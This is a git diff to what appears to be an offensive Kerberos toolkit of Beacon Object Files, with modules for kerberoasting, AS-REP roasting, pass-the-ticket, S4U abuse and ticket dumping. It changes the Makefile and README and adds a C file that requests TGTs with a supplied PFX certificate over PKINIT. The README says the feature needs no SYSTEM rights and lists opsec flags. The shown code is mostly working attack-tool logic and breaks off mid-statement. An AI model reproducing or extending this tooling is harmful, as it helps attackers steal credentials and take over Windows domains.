diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1dc15bd --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +_bin/* \ No newline at end of file diff --git a/Makefile b/Makefile index 12117e8..87df519 100755 --- a/Makefile +++ b/Makefile @@ -1,21 +1,23 @@ +BOF_CFLAGS := -I ./ -Os -w -Wno-incompatible-pointer-types -fno-builtin-memset -fno-asynchronous-unwind-tables -fno-unwind-tables -fno-jump-tables -fno-tree-switch-conversion + all: bof bof: @(mkdir _bin 2>/dev/null) && echo 'creating _bin' || echo '_bin exists' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/hash.x64.o -I ./ -Os -s -c hash/hash.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/hash.x64.o) && echo '[*] hash' || echo '[X] hash' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/klist.x64.o -I ./ -Os -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/klist.x64.o) && echo '[*] klist' || echo '[X] klist' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/triage.x64.o -I ./ -DTRIAGE -Os -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/triage.x64.o) && echo '[*] triage' || echo '[X] triage' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/dump.x64.o -I ./ -DDUMP -Os -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/dump.x64.o) && echo '[*] dump' || echo '[X] dump' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/describe.x64.o -I ./ -Os -s -c describe/describe.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/describe.x64.o) && echo '[*] describe' || echo '[X] describe' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/tgtdeleg.x64.o -I ./ -Os -s -c tgtdeleg/tgtdeleg.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/tgtdeleg.x64.o) && echo '[*] tgtdeleg' || echo '[X] tgtdeleg' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/ptt.x64.o -I ./ -Os -s -c ptt/ptt.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/ptt.x64.o) && echo '[*] ptt' || echo '[X] ptt' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/purge.x64.o -I ./ -Os -s -c purge/purge.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/purge.x64.o) && echo '[*] purge' || echo '[X] purge' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/asktgt.x64.o -I ./ -Os -s -c asktgt/asktgt.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asktgt.x64.o) && echo '[*] asktgt' || echo '[X] asktgt' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/asktgs.x64.o -I ./ -Os -s -c asktgs/asktgs.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asktgs.x64.o) && echo '[*] asktgs' || echo '[X] asktgs' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/renew.x64.o -I ./ -Os -s -c renew/renew.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/renew.x64.o) && echo '[*] renew' || echo '[X] renew' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/changepw.x64.o -I ./ -Os -s -c changepw/changepw.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/changepw.x64.o) && echo '[*] changepw' || echo '[X] changepw' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/asreproasting.x64.o -I ./ -Os -s -c asreproasting/asreproasting.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asreproasting.x64.o) && echo '[*] asreproasting' || echo '[X] asreproasting' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/kerberoasting.x64.o -I ./ -Os -s -c kerberoasting/kerberoasting.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/kerberoasting.x64.o) && echo '[*] kerberoasting' || echo '[X] kerberoasting' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/s4u.x64.o -I ./ -Os -s -c s4u/s4u.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/s4u.x64.o) && echo '[*] s4u' || echo '[X] s4u' - @(x86_64-w64-mingw32-gcc -w -Wno-incompatible-pointer-types -o _bin/cross_s4u.x64.o -I ./ -Os -s -c s4u/cross_s4u.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/cross_s4u.x64.o) && echo '[*] cross_s4u' || echo '[X] cross_s4u' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/hash.x64.o -s -c hash/hash.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/hash.x64.o) && echo '[*] hash' || echo '[X] hash' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/klist.x64.o -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/klist.x64.o) && echo '[*] klist' || echo '[X] klist' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -DTRIAGE -o _bin/triage.x64.o -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/triage.x64.o) && echo '[*] triage' || echo '[X] triage' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -DDUMP -o _bin/dump.x64.o -s -c klist/klist.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/dump.x64.o) && echo '[*] dump' || echo '[X] dump' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/describe.x64.o -s -c describe/describe.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/describe.x64.o) && echo '[*] describe' || echo '[X] describe' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/tgtdeleg.x64.o -s -c tgtdeleg/tgtdeleg.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/tgtdeleg.x64.o) && echo '[*] tgtdeleg' || echo '[X] tgtdeleg' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/ptt.x64.o -s -c ptt/ptt.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/ptt.x64.o) && echo '[*] ptt' || echo '[X] ptt' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/purge.x64.o -s -c purge/purge.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/purge.x64.o) && echo '[*] purge' || echo '[X] purge' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/asktgt.x64.o -s -c asktgt/asktgt.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asktgt.x64.o) && echo '[*] asktgt' || echo '[X] asktgt' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/asktgs.x64.o -s -c asktgs/asktgs.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asktgs.x64.o) && echo '[*] asktgs' || echo '[X] asktgs' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/renew.x64.o -s -c renew/renew.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/renew.x64.o) && echo '[*] renew' || echo '[X] renew' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/changepw.x64.o -s -c changepw/changepw.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/changepw.x64.o) && echo '[*] changepw' || echo '[X] changepw' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/asreproasting.x64.o -s -c asreproasting/asreproasting.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/asreproasting.x64.o) && echo '[*] asreproasting' || echo '[X] asreproasting' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/kerberoasting.x64.o -s -c kerberoasting/kerberoasting.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/kerberoasting.x64.o) && echo '[*] kerberoasting' || echo '[X] kerberoasting' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/s4u.x64.o -s -c s4u/s4u.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/s4u.x64.o) && echo '[*] s4u' || echo '[X] s4u' + @(x86_64-w64-mingw32-gcc $(BOF_CFLAGS) -o _bin/cross_s4u.x64.o -s -c s4u/cross_s4u.c && x86_64-w64-mingw32-strip --strip-unneeded _bin/cross_s4u.x64.o) && echo '[*] cross_s4u' || echo '[X] cross_s4u' diff --git a/README.md b/README.md index 883f397..9a2a968 100644 --- a/README.md +++ b/README.md @@ -16,10 +16,13 @@ To form AS-REQ's more inline with genuine requests, the `/opsec` flag can be use Requesting a TGT without a PAC can be done using the `/nopac` switch. The `/nopreauth` flag can be used to send an AS-REQ without pre-authentication. +The `/certificate:X` option accepts a base64-encoded PFX blob similar to Rubeus and reuses `/password:X` as the PFX password when needed. This path now performs direct PKINIT with a CryptoAPI-backed PFX and does not require SYSTEM. + ``` krb_asktgt /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec] krb_asktgt /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec] krb_asktgt /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] +krb_asktgt /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD] [/domain:DOMAIN] [/dc:DC] [/ptt] krb_asktgt /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt] ``` @@ -238,7 +241,7 @@ krb_changepw /ticket:BASE64 /new:PASSWORD [/dc:DC] [/targetuser:USER] [/targetdo ## TODO -- [ ] Implement `asktgt /cert:...` +- [x] Implement `asktgt /cert:...` - [ ] Refactoring code to reduce BOFs size - [ ] Expand the output of the `describe` * if you need anything, PM me to X or TG :) diff --git a/_include/asktgt_pkinit.c b/_include/asktgt_pkinit.c new file mode 100644 index 0000000..8a1f480 --- /dev/null +++ b/_include/asktgt_pkinit.c @@ -0,0 +1,931 @@ +#pragma once + +// Helpers for the certificate-based AS-REQ path. This file builds the PKINIT +// AuthPack, performs ephemeral Diffie-Hellman with the KDC, and derives the +// reply key used to decrypt the returned AS-REP. + +WCHAR* CharToWide(char* value, int* wideChars) { + if (wideChars) + *wideChars = 0; + + if (!value) + return NULL; + + int valueLength = my_strlen(value); + int converted = KERNEL32$MultiByteToWideChar(CP_ACP, 0, value, valueLength, NULL, 0); + if (converted <= 0) + return NULL; + + WCHAR* wideValue = MemAlloc((converted + 1) * sizeof(WCHAR)); + if (!wideValue) + return NULL; + + if (KERNEL32$MultiByteToWideChar(CP_ACP, 0, value, valueLength, wideValue, converted) != converted) + return NULL; + + wideValue[converted] = 0; + if (wideChars) + *wideChars = converted; + return wideValue; +} + +#define PKINIT_AUTHDATA_OID "1.3.6.1.5.2.3.1" +#define OID_SHA1 "1.3.14.3.2.26" + +// RFC 3526 / MODP Group 14 parameters used by this PKINIT implementation. +// These values are public domain parameters, not secrets: +// p: 2048-bit safe-prime modulus used for the DH group. +// q: subgroup order, equal to (p - 1) / 2 for this safe-prime group. +// g: generator 2, encoded where the DH key pair is created/imported. +// Windows CNG expects p and g in BCRYPT_DH_PARAMETERS, while the PKINIT +// SubjectPublicKeyInfo domain parameters sent to the KDC include p, g, and q. +char DH_GROUP14_P_HEX[] = + "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22" + "514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6" + "F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D" + "C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB" + "9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E8603" + "9B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA0510" + "15728E5A8AACAA68FFFFFFFFFFFFFFFF"; + +char DH_GROUP14_Q_HEX[] = + "7FFFFFFFFFFFFFFFE487ED5110B4611A62633145C06E0E68948127044533E63A0105DF531D89CD91" + "28A5043CC71A026EF7CA8CD9E69D218D98158536F92F8A1BA7F09AB6B6A8E122F242DABB312F3F63" + "7A262174D31BF6B585FFAE5B7A035BF6F71C35FDAD44CFD2D74F9208BE258FF324943328F6722D9E" + "E1003E5C50B1DF82CC6D241B0E2AE9CD348B1FD47E9267AFC1B2AE91EE51D6CB0E3179AB1042A95DC" + "F6A9483B84B4B36B3861AA7255E4C0278BA3604650C10BE19482F23171B671DF1CF3B960C074301C" + "D93C1D17603D147DAE2AEF837A62964EF15E5FB4AAC0B8C1CCAA4BE754AB5728AE9130C4C7D02880" + "AB9472D455655347FFFFFFFFFFFFFFF"; + +BOOL HexCharToByte(char c, byte* value) { + if (c >= '0' && c <= '9') { + *value = (byte)(c - '0'); + return FALSE; + } + if (c >= 'a' && c <= 'f') { + *value = (byte)(c - 'a' + 10); + return FALSE; + } + if (c >= 'A' && c <= 'F') { + *value = (byte)(c - 'A' + 10); + return FALSE; + } + return TRUE; +} + +BOOL HexStringToBytes(char* hex, byte** bytes, DWORD* length) { + int hexLength = my_strlen(hex); + if ((hexLength & 1) != 0) + return TRUE; + + *length = (DWORD)(hexLength / 2); + *bytes = MemAlloc(*length); + if (!*bytes) + return TRUE; + + for (DWORD i = 0; i < *length; i++) { + byte high = 0; + byte low = 0; + if (HexCharToByte(hex[i * 2], &high) || HexCharToByte(hex[i * 2 + 1], &low)) + return TRUE; + (*bytes)[i] = (byte)((high << 4) | low); + } + + return FALSE; +} + +BOOL HexStringToFixedBytes(char* hex, DWORD fixedLength, byte** bytes) { + DWORD rawLength = 0; + byte* rawBytes = NULL; + if (HexStringToBytes(hex, &rawBytes, &rawLength)) + return TRUE; + if (rawLength > fixedLength) + return TRUE; + + *bytes = MemAlloc(fixedLength); + if (!*bytes) + return TRUE; + + for (DWORD i = 0; i < fixedLength; i++) + (*bytes)[i] = 0; + + MemCpy(*bytes + (fixedLength - rawLength), rawBytes, rawLength); + return FALSE; +} + +BOOL MakeIntegerFromBytes(byte* value, DWORD length, AsnElt* asn) { + // DER INTEGER values must be positive; prepend a zero byte when the high + // bit would otherwise make the value look negative. + while (length > 1 && *value == 0) { + value++; + length--; + } + + BOOL addPadding = (value[0] & 0x80) ? TRUE : FALSE; + DWORD encodedLength = length + (addPadding ? 1 : 0); + byte* encoded = MemAlloc(encodedLength); + if (!encoded) + return TRUE; + + if (addPadding) { + encoded[0] = 0; + MemCpy(encoded + 1, value, length); + } + else { + MemCpy(encoded, value, length); + } + + return MakePrimitiveInner(ASN_UNIVERSAL, ASN_INTEGER, encoded, 0, encodedLength, asn); +} + +BOOL MakeIntegerFromHex(char* hex, AsnElt* asn) { + DWORD rawLength = 0; + byte* rawBytes = NULL; + if (HexStringToBytes(hex, &rawBytes, &rawLength)) + return TRUE; + return MakeIntegerFromBytes(rawBytes, rawLength, asn); +} + +BOOL MakeOID(byte* value, DWORD length, AsnElt* asn) { + return MakePrimitiveInner(ASN_UNIVERSAL, ASN_OBJECT_IDENTIFIER, value, 0, length, asn); +} + +BOOL Sha1Buffer(byte* data, DWORD dataLength, byte* digest) { + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + DWORD digestLength = 20; + + if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + return TRUE; + + if (!ADVAPI32$CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash)) + return TRUE; + if (!ADVAPI32$CryptHashData(hHash, data, dataLength, 0)) + return TRUE; + if (!ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, digest, &digestLength, 0)) + return TRUE; + + ADVAPI32$CryptDestroyHash(hHash); + ADVAPI32$CryptReleaseContext(hProv, 0); + return FALSE; +} + +BOOL BuildPkAuthenticator(KDCReqBody* reqBody, DWORD pkNonce, AsnElt* pkAuthenticator) { + // The PKAuthenticator binds the signed PKINIT payload to the exact KDC-REQ + // body by including a SHA1 checksum of that body plus time and nonce fields. + AsnElt reqBodyAsn = { 0 }; + if (AsnKDCReqBodyEncode(reqBody, &reqBodyAsn)) + return TRUE; + + int reqBodyBytesSize = 0; + byte* reqBodyBytes = NULL; + if (AsnToBytesEncode(&reqBodyAsn, &reqBodyBytesSize, &reqBodyBytes)) + return TRUE; + + byte reqBodyChecksum[20] = { 0 }; + if (Sha1Buffer(reqBodyBytes, reqBodyBytesSize, reqBodyChecksum)) + return TRUE; + + SYSTEMTIME systemTime; + KERNEL32$GetSystemTime(&systemTime); + char currentTime[18]; + MSVCRT$sprintf(currentTime, "%04d%02d%02d%02d%02d%02dZ", + systemTime.wYear, systemTime.wMonth, systemTime.wDay, + systemTime.wHour, systemTime.wMinute, systemTime.wSecond); + + AsnElt cusecAsn = { 0 }; + AsnElt ctimeAsn = { 0 }; + AsnElt nonceAsn = { 0 }; + AsnElt checksumAsn = { 0 }; + + if (PackIntegerLong(0, systemTime.wMilliseconds * 1000, &cusecAsn)) + return TRUE; + if (PackString(1, ASN_GeneralizedTime, currentTime, &ctimeAsn)) + return TRUE; + if (PackIntegerLong(2, (LONG)pkNonce, &nonceAsn)) + return TRUE; + if (PackBlock(3, reqBodyChecksum, sizeof(reqBodyChecksum), &checksumAsn)) + return TRUE; + + AsnElt pkAuthFields[] = { cusecAsn, ctimeAsn, nonceAsn, checksumAsn }; + if (Make3(ASN_SEQUENCE, pkAuthFields, 4, pkAuthenticator)) + return TRUE; + + return FALSE; +} + +BOOL BuildDhClientPublicValue(BCRYPT_KEY_HANDLE dhKey, AsnElt* subjectPublicKeyInfo) { + // Export the ephemeral CNG DH public key and wrap it as a SubjectPublicKeyInfo: + // algorithm = dhpublicnumber with domain parameters { p, g, q }, + // subjectPublicKey = DER INTEGER containing the client's public DH value. + ULONG publicBlobSize = 0; + if (BCrypt$ExportKey(dhKey, 0, BCRYPT_DH_PUBLIC_BLOB, NULL, 0, &publicBlobSize, 0) != 0) + return TRUE; + + byte* publicBlob = MemAlloc(publicBlobSize); + if (!publicBlob) + return TRUE; + if (BCrypt$ExportKey(dhKey, 0, BCRYPT_DH_PUBLIC_BLOB, publicBlob, publicBlobSize, &publicBlobSize, 0) != 0) + return TRUE; + + BCRYPT_DH_KEY_BLOB* blobHeader = (BCRYPT_DH_KEY_BLOB*)publicBlob; + byte* modulus = publicBlob + sizeof(BCRYPT_DH_KEY_BLOB); + byte* generator = modulus + blobHeader->cbKey; + byte* publicValue = generator + blobHeader->cbKey; + + byte dhPublicNumberOid[] = { 0x2A, 0x86, 0x48, 0xCE, 0x3E, 0x02, 0x01 }; + AsnElt oidAsn = { 0 }; + AsnElt pAsn = { 0 }; + AsnElt gAsn = { 0 }; + AsnElt qAsn = { 0 }; + AsnElt domainParams = { 0 }; + AsnElt algorithmIdentifier = { 0 }; + AsnElt publicInteger = { 0 }; + AsnElt publicBitString = { 0 }; + + if (MakeOID(dhPublicNumberOid, sizeof(dhPublicNumberOid), &oidAsn)) + return TRUE; + if (MakeIntegerFromBytes(modulus, blobHeader->cbKey, &pAsn)) + return TRUE; + if (MakeIntegerFromBytes(generator, blobHeader->cbKey, &gAsn)) + return TRUE; + if (MakeIntegerFromHex(DH_GROUP14_Q_HEX, &qAsn)) + return TRUE; + + AsnElt domainFields[] = { pAsn, gAsn, qAsn }; + if (Make3(ASN_SEQUENCE, domainFields, 3, &domainParams)) + return TRUE; + + AsnElt algorithmFields[] = { oidAsn, domainParams }; + if (Make3(ASN_SEQUENCE, algorithmFields, 2, &algorithmIdentifier)) + return TRUE; + + if (MakeIntegerFromBytes(publicValue, blobHeader->cbKey, &publicInteger)) + return TRUE; + + int publicIntegerBytesSize = 0; + byte* publicIntegerBytes = NULL; + if (AsnToBytesEncode(&publicInteger, &publicIntegerBytesSize, &publicIntegerBytes)) + return TRUE; + if (MakeBitString(publicIntegerBytes, 0, publicIntegerBytesSize, &publicBitString)) + return TRUE; + + AsnElt spkiFields[] = { algorithmIdentifier, publicBitString }; + if (Make3(ASN_SEQUENCE, spkiFields, 2, subjectPublicKeyInfo)) + return TRUE; + + return FALSE; +} + +BOOL BuildAuthPack(KDCReqBody* reqBody, BCRYPT_KEY_HANDLE dhKey, DWORD pkNonce, byte** authPackBytes, DWORD* authPackSize) { + // AuthPack ::= SEQUENCE { pkAuthenticator, clientPublicValue, clientDHNonce }. + // The empty clientDHNonce keeps the field present while reply-key derivation + // below uses only the KDC nonce if one is returned. + AsnElt pkAuthenticator = { 0 }; + AsnElt pkAuthenticatorContext = { 0 }; + AsnElt clientPublicValue = { 0 }; + AsnElt clientPublicValueContext = { 0 }; + AsnElt clientDhNonce = { 0 }; + AsnElt clientDhNonceContext = { 0 }; + AsnElt authPack = { 0 }; + + if (BuildPkAuthenticator(reqBody, pkNonce, &pkAuthenticator)) + return TRUE; + if (MakeExplicit(ASN_CONTEXT, 0, &pkAuthenticator, 1, &pkAuthenticatorContext)) + return TRUE; + + if (BuildDhClientPublicValue(dhKey, &clientPublicValue)) + return TRUE; + if (MakeExplicit(ASN_CONTEXT, 1, &clientPublicValue, 1, &clientPublicValueContext)) + return TRUE; + + if (MakeBlob((byte*)"", 0, 0, &clientDhNonce)) + return TRUE; + if (MakeExplicit(ASN_CONTEXT, 3, &clientDhNonce, 1, &clientDhNonceContext)) + return TRUE; + + AsnElt authPackFields[] = { pkAuthenticatorContext, clientPublicValueContext, clientDhNonceContext }; + if (Make3(ASN_SEQUENCE, authPackFields, 3, &authPack)) + return TRUE; + + int encodedAuthPackSize = 0; + byte* encodedAuthPack = NULL; + if (AsnToBytesEncode(&authPack, &encodedAuthPackSize, &encodedAuthPack)) + return TRUE; + + *authPackBytes = encodedAuthPack; + *authPackSize = encodedAuthPackSize; + return FALSE; +} + +BOOL SignAuthPackCms(PCCERT_CONTEXT signingCert, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE certProvider, DWORD keySpec, CERT_BLOB* certBlobs, DWORD certCount, byte* authPackBytes, DWORD authPackSize, char* digestOid, byte** signedCmsBytes, DWORD* signedCmsSize) { + // PKINIT sends the AuthPack as CMS SignedData. The certificate private key + // proves possession to the KDC; the inner content type is id-pkinit-authData. + CMSG_SIGNER_ENCODE_INFO signer = { 0 }; + signer.cbSize = sizeof(CMSG_SIGNER_ENCODE_INFO); + signer.pCertInfo = signingCert->pCertInfo; + signer.hCryptProv = (HCRYPTPROV)certProvider; + signer.dwKeySpec = keySpec; + signer.HashAlgorithm.pszObjId = digestOid; + + CMSG_SIGNED_ENCODE_INFO signedInfo = { 0 }; + signedInfo.cbSize = sizeof(CMSG_SIGNED_ENCODE_INFO); + signedInfo.cSigners = 1; + signedInfo.rgSigners = &signer; + signedInfo.cCertEncoded = certCount; + signedInfo.rgCertEncoded = certBlobs; + + HCRYPTMSG hMsg = CRYPT32$CryptMsgOpenToEncode( + X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, + 0, + CMSG_SIGNED, + &signedInfo, + PKINIT_AUTHDATA_OID, + NULL + ); + if (!hMsg) + return TRUE; + + if (!CRYPT32$CryptMsgUpdate(hMsg, authPackBytes, authPackSize, TRUE)) + return TRUE; + + DWORD cmsSize = 0; + if (!CRYPT32$CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, NULL, &cmsSize)) + return TRUE; + + byte* cmsBytes = MemAlloc(cmsSize); + if (!cmsBytes) + return TRUE; + if (!CRYPT32$CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, cmsBytes, &cmsSize)) + return TRUE; + + CRYPT32$CryptMsgClose(hMsg); + *signedCmsBytes = cmsBytes; + *signedCmsSize = cmsSize; + return FALSE; +} + +BOOL SignAuthPack(PCCERT_CONTEXT signingCert, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE certProvider, DWORD keySpec, HCERTSTORE certStore, byte* authPackBytes, DWORD authPackSize, byte** signedCmsBytes, DWORD* signedCmsSize) { + DWORD certCount = 0; + PCCERT_CONTEXT current = NULL; + + while ((current = CRYPT32$CertEnumCertificatesInStore(certStore, current)) != NULL) + certCount++; + + CERT_BLOB* certBlobs = NULL; + if (certCount) { + certBlobs = MemAlloc(sizeof(CERT_BLOB) * certCount); + if (!certBlobs) + return TRUE; + + current = NULL; + DWORD certIndex = 0; + while ((current = CRYPT32$CertEnumCertificatesInStore(certStore, current)) != NULL) { + certBlobs[certIndex].cbData = current->cbCertEncoded; + certBlobs[certIndex].pbData = (byte*)current->pbCertEncoded; + certIndex++; + } + } + + if (!SignAuthPackCms(signingCert, certProvider, keySpec, certBlobs, certCount, authPackBytes, authPackSize, NULL, signedCmsBytes, signedCmsSize)) + return FALSE; + + if (!SignAuthPackCms(signingCert, certProvider, keySpec, certBlobs, certCount, authPackBytes, authPackSize, OID_SHA1, signedCmsBytes, signedCmsSize)) + return FALSE; + + PRINT_OUT("[X] CryptMsg signing failed with GetLastError=%lu\n", KERNEL32$GetLastError()); + return TRUE; +} + +BOOL BuildPaPkAsReqBlob(byte* signedCmsBytes, DWORD signedCmsSize, byte** paPkAsReqBytes, DWORD* paPkAsReqSize) { + // PA-PK-AS-REQ wraps the signed AuthPack in context [0] signedAuthPack. + AsnElt signedAuthPack = { 0 }; + AsnElt signedAuthPackContext = { 0 }; + AsnElt paPkAsReq = { 0 }; + + if (MakeBlob(signedCmsBytes, 0, signedCmsSize, &signedAuthPack)) + return TRUE; + if (MakeImplicit(ASN_CONTEXT, 0, &signedAuthPack, &signedAuthPackContext)) + return TRUE; + if (Make3(ASN_SEQUENCE, &signedAuthPackContext, 1, &paPkAsReq)) + return TRUE; + + int encodedPaPkAsReqSize = 0; + byte* encodedPaPkAsReq = NULL; + if (AsnToBytesEncode(&paPkAsReq, &encodedPaPkAsReqSize, &encodedPaPkAsReq)) + return TRUE; + + *paPkAsReqBytes = encodedPaPkAsReq; + *paPkAsReqSize = encodedPaPkAsReqSize; + return FALSE; +} + +void PrintKirbiOutput(byte* ticket, BOOL show, BOOL nowrap) { + if (!show || !ticket) + return; + + if (nowrap) + PRINT_OUT("%s\n", ticket); + else + PRINT_OUT("[*] base64(ticket.kirbi): \n\n%s\n\n", ticket); +} + +BOOL GenerateDhKeyPair(BCRYPT_ALG_HANDLE* dhAlgorithm, BCRYPT_KEY_HANDLE* dhKey) { + // Generate an ephemeral 2048-bit DH key pair using Group 14 p and g = 2. + // The private value stays inside CNG; only the public value is exported into + // the PKINIT AuthPack. + byte* modulus = NULL; + byte* generator = NULL; + if (HexStringToFixedBytes(DH_GROUP14_P_HEX, 256, &modulus)) + return TRUE; + if (HexStringToFixedBytes("02", 256, &generator)) + return TRUE; + + if (BCrypt$OpenAlgorithmProvider(dhAlgorithm, BCRYPT_DH_ALGORITHM, NULL, 0) != 0) + return TRUE; + if (BCrypt$GenerateKeyPair(*dhAlgorithm, dhKey, 2048, 0) != 0) + return TRUE; + + ULONG parameterBlobSize = sizeof(BCRYPT_DH_PARAMETER_HEADER) + 512; + byte* parameterBlob = MemAlloc(parameterBlobSize); + if (!parameterBlob) + return TRUE; + + BCRYPT_DH_PARAMETER_HEADER* parameterHeader = (BCRYPT_DH_PARAMETER_HEADER*)parameterBlob; + parameterHeader->cbLength = parameterBlobSize; + parameterHeader->dwMagic = BCRYPT_DH_PARAMETERS_MAGIC; + parameterHeader->cbKeyLength = 256; + + MemCpy(parameterBlob + sizeof(BCRYPT_DH_PARAMETER_HEADER), modulus, 256); + MemCpy(parameterBlob + sizeof(BCRYPT_DH_PARAMETER_HEADER) + 256, generator, 256); + + if (BCrypt$SetProperty(*dhKey, BCRYPT_DH_PARAMETERS, parameterBlob, parameterBlobSize, 0) != 0) + return TRUE; + if (BCrypt$FinalizeKeyPair(*dhKey, 0) != 0) + return TRUE; + + return FALSE; +} + +BOOL CmsDecodeContent(byte* cmsBytes, DWORD cmsSize, byte** contentBytes, DWORD* contentSize) { + // PA-PK-AS-REP returns the KDC's DH key info as CMS SignedData. We only need + // the signed content here; certificate chain validation is not performed. + HCRYPTMSG hMsg = CRYPT32$CryptMsgOpenToDecode( + X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, + 0, + 0, + 0, + NULL, + NULL + ); + if (!hMsg) + return TRUE; + if (!CRYPT32$CryptMsgUpdate(hMsg, cmsBytes, cmsSize, TRUE)) + return TRUE; + if (!CRYPT32$CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, NULL, contentSize)) + return TRUE; + + *contentBytes = MemAlloc(*contentSize); + if (!*contentBytes) + return TRUE; + if (!CRYPT32$CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, *contentBytes, contentSize)) + return TRUE; + + CRYPT32$CryptMsgClose(hMsg); + return FALSE; +} + +BOOL ExtractAsnIntegerBytes(AsnElt* integerAsn, byte** integerBytes, DWORD* integerSize) { + // Strip DER INTEGER sign padding before importing the public number into CNG. + int rawSize = ValueLength(integerAsn); + byte* rawBytes = MemAlloc(rawSize); + if (!rawBytes) + return TRUE; + EncodeValue(integerAsn, 0, rawSize, rawBytes, 0); + + int offset = 0; + while ((offset + 1) < rawSize && rawBytes[offset] == 0) + offset++; + + *integerSize = rawSize - offset; + *integerBytes = MemAlloc(*integerSize); + if 